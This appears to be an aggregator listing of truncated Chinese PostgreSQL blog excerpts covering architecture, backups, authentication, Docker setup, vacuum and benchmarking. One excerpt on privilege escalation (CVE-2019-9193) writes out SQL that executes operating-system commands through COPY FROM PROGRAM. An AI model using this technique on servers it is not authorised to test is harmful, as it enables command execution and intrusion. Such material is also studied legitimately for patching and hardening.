ICode9

精准搜索请尝试: 精确搜索
  • 【 PG 入门系列 】PostgreSQL的体系结构(三)2022-02-20 12:31:18

    PostgreSQL的体系结构(三) 1. PG的体系结构1.1. Postmaster进程1.2. postgres进程1.3. 本地内存1.4. 数据库实例(INSTANCE)1.4.1. 共享内存1.4.2. 辅助进程 1.5. Database Cluster1.6. 查询验证 2. PG的数据目录结构3. PG的层级结构 Postgresql 系列博文讲解(B站同步介绍教学:h

  • 使用prometheus+grafana监控postgresql的测试2022-02-19 19:02:17

    目的 使用两台机器测试prometheus,监控机器指标和postgresql指标 server1 安装prometheus server和grafana server2 安装 node_exporter和postgres_exporter 安装 wget https://github.com/prometheus/prometheus/releases/download/v2.8.1/prometheus-2.8.1.linux-amd64.tar.gz wg

  • Postgresql之闪回数据库示例2022-02-14 16:53:17

    一、摘要 在Oracle中,若发生重大的误操作,那么我们可以使用flashback database命令来把数据库整体闪回到过去的误操作的时间点,当然前提是需要打开数据库的闪回功能。 在PG中,能否也可以执行类型的操作呢,答案是肯定的。 二、闪回数据库过程示例 1、误操作    2、查找误操作事务号

  • PostgreSQL 14的SCRAM身份验证2022-02-11 03:00:23

    升级到PostgreSQL14之后,会遇到以下错误: FATAL: password authentication failed for a user FATAL: Connection to database failed: connection to server at “localhost” (::1), port 5432 failed: fe_sendauth: no password supplied 报这些错误的原因是,PostgreSQL修改了默

  • PostgreSQL事务隔离级别2022-02-10 10:05:08

    一、概念 并发控制是多个事务在并发运行时,数据库保证事务一致性(Consistency)和隔离性(Isolation)的一种机制。PostgreSQL使用了多版本并发控制技术的一种变体:快照隔离Sanpshot Isolation(简称SI)。通过SI,PostgreSQL提供了四个事务隔离级别,隔离级别从低到高分别是:Read uncommitted 、Rea

  • 访问GitLab的PostgreSQL数据库,查询、修改、替换等操作2022-02-09 16:35:15

    1.登陆gitlab的安装服务查看配置文件 cat /var/opt/gitlab/gitlab-rails/etc/database.yml production: adapter: postgresql encoding: unicode collation: database: gitlabhq_production //数据库名 pool: 10 username: 'gitlab' //用户名 password: hos

  • Postgresql源码(31)Btree索引相关系统表和整体结构2022-02-09 12:32:08

    version: postgresql10.17 0 总结 总结 leaf page 0级页面(最底层页面)有右兄弟的话,第一条是右兄弟的第一条(应该是本页的最后一条,注意这条不属于本页,是下一页最小值得复制)注意:0级页面的最左页面也有这个copy0级页面(最底层页面)没有右兄弟的话,第一条就是起始数据 root / bra

  • Linux下离线安装postgresql并进行主从配置2022-02-09 10:58:00

    一、下载离线安装包 PostgreSQL: File Browser 我这里用的是9.6.10    二、下载gcc-c++和readline 阿里云开源镜像站资源目录 三、安装  在根路径下创建data目录,作为我们得工作目录 1,gcc-c++环境检测      rpm -qa | grep gcc-c++        2,gcc-c++环境安装    

  • PostgreSQL简单上手(windows环境)2022-02-08 21:00:01

    本次使用PostgreSQL的目标是,创建一个登录用户并为其新建一个数据库,获得一个可使用的连接字符串。本文将包含以下内容: 安装PostgreSQL,添加环境变量创建登录用户、新建数据库 1 安装 1.1 windows下安装 在postgresql官网给出的下载地址中下载相应版本,打开后正常安装即可,建议安

  • 通过lc_messages修改PostgreSQL的消息语言2022-02-08 14:02:35

    通过lc_messages修改PostgreSQL的消息语言 报错配置档路径修改配置 报错 程式用账密验证访问postgreSQL,由于账密设置错误,程序捕获到数据库的认证错误提示,然而一直显示为乱码,修改编码规则UTF8或者GBK均无效。 一筹莫展,直到发现postgresql.conf里面有个lc_messages的东西

  • PostgreSQL的pg_basebackup备份恢复详解2022-02-07 18:33:36

    备份 pg_basebackup -D /tmp/pg_backup/ -Ft -Pv -U postgres -h 1.15.57.253 -p5432 -R -D 空文件,没有该目录会自动创建 F 格式话 t 打包为tar包 Pv显示备份的详细过程 -u 用户 -p 端口   备份报错 在配置文件pg_hba.conf增加一行   备份流程: pg_basebackup: initia

  • docker 安装使用postgres 容器2022-02-04 12:31:21

    拉取postgres 镜像 docker pull postgres:11 # dockr pull postgres:<tag> 创建本地持久化数据映射文件夹 mkdir -p ~/docker/postgresql-11/data 启动容器 docker 命令创建并后台启动 docker run -d --restart=always \ -e POSTGRES_PASSWORD=p \ -v ~/docker/postgre

  • PostgreSQL 内核源码分析——lazy Vacuum2022-02-03 19:02:47

    本文将概要性的讲解 PostgreSQL 中 lazy vacuum 的流程和原理,代码将以 PG 10.17 版本为例。 背景知识 死元组和表空间膨胀 在 PG 中,update/delete 语句的实现通过 MVCC 机制的多版本链实现。对于一条已经被更新/删除的元组来说,当这条元组对所有事物都不可见后,它的存在就没有

  • PostgreSQL 源码编译安装2022-01-31 23:02:08

    如果本文对你有帮助,帮忙评论下,谢谢。 点击查看原文

  • PostgreSQL每日一贴-测试工具之pgbench2022-01-31 21:32:15

      名称   pgbench -- 在PostgreSQL中执行基准线测试   大纲   pgbench -i [option...] [dbname]   pgbench [option...] [dbname]   描述   pgbench是一个用于在PostgreSQL数据库中运行基准测试的简单程序。pgbench在多个并发的数据库会话中反复运行一系列相同的SQL

  • postgresql/lightdb字段typemod属性的内部实现及物理表示pg_attribute.atttypmod2022-01-31 16:03:15

    以如下DDL为示例zjh@postgres=# create table test_for_test1(id int primary key,id1 decimal(10,2),t text,t1 varchar(100)); CREATE TABLE zjh@postgres=# select * from pg_class where relname='test_for_test1'; oid | relname | relnamespace | reltyp

  • DC - 部署 PostgreSQL2022-01-30 13:03:01

    使用docker-compose在CentOS-7部署PostgreSQL数据库,官方镜像地址:Docker Hub 部署环境 OS: Linux CentOS-7 3.10.0-862.el7.x86_64 Docker:Docker version 20.10.6, build 370c289 Docker-Compose:docker-compose version 1.25.0, build 0a186604 PostgreSQL:12 准备配置文件 使用已

  • postgresql如果查询出的数据为空,则设为0的方法(PGSQL实现判断一个空值字段,并将NULL值修改为其它值)2022-01-29 10:31:54

    使用COALESCE函数 函数详解: COALESCE()函数主流数据库系统都支持COALESCE()函数,这个函数主要用来进行空值处理,其参数格式如下: COALESCE ( expression,value1,value2……,valuen) COALESCE()函数的第一个参数expression为待检测的表达式,而其后的参数个数不定。COALESCE()函数将会

  • postgresql提权2022-01-28 23:34:14

    (CVE-2019-9193) CVE-2019-9193:PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令: drop table if exists cmd_exec; create table cmd_exec(cmd_output text); copy cmd_exec from program 'id'; select * from cmd_exec; dro

  • PostgreSQL数据库登录、备份恢复2022-01-28 17:31:53

    PostgreSQL数据库登录、备份恢复 数据库登录 psql -h '你的ip' -p 5432 -U '用户组' '数据库' 举例: psql -h localhost -p 5432 -U test 2021_12_6 数据库备份恢复命令 psql -h '你的ip' -p 5432 -U '用户组' '要恢复的数据库' -f 'sql文件地址' 举例:

  • postgresql/lightdb prepare、bind、execute与fetch cursor的内核与jdbc驱动实现详解2022-01-28 17:31:24

      preparedstatement将PREPARE,BIND,EXECUTE分开,其好处是避免了重复的语法分析、语义分析与重写,对于复杂SQL来说,其效果更加明显。 In the extended-query protocol, execution of SQL commands is divided into multiple steps. The state retained between steps is represented

  • TDSQL | DTS for PostgreSQL 逻辑复制详解2022-01-28 15:00:01

    逻辑复制概念 逻辑复制是 PG 数据库基于数据对象的复制标志,也就是 Replica Identity 来复制数据对象及数据变化的方法。它最初是在 2014 年 12 月份的 PG9.4.0 引入,称为逻辑解码,后来在 2017 年 10 月 PG10.0 版本中又引入了基于发布订阅的逻辑复制概念。之所以称为逻辑复制是

  • postgresql的编译和调试2022-01-27 11:03:44

    编译安装 下载源码文件包并解压:postgresql-14.1.tar.gz tar xf postgresql-14.1.tar.gz && cd postgresql-14.1 在解压后的目录下执行: ./configure --prefix=$HOME/software/postgresql_bin/ --enable-debug --enable-cassert make -sj 20 make install 启动和创建数据库 cd $HOME

  • PostgreSQL 慢查询SQL跟踪操作及解决方案2022-01-26 09:32:36

    生产案例 随着数据量的增加,数据库cpu占用爆炸,直接100%导致服务崩溃。 原因居然是一个简单的 update 语句。 赶紧定位问题 简单流程如下: 定位问题库 > 读库 or 写库查看连接数。CPU利用率到达100%,首先怀疑,是不是业务高峰活跃连接陡增,而数据库预留的资源不足造成的结果。我们

  • postgresql单机多开2022-01-25 18:35:04

    单机多开也叫多实例: su postgres -c "/usr/pgsql-12/bin/pg_ctl -D 数据目录 start" #还可以stop ,reload 单机多开 postgresql ,只需要创建好不同的目录,给目录分配好权限,修改端口避免冲突,然后分别执行上面的命令启动即可。 下面我们来演示一下: 安装过程可以参考之前的文章: [r

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有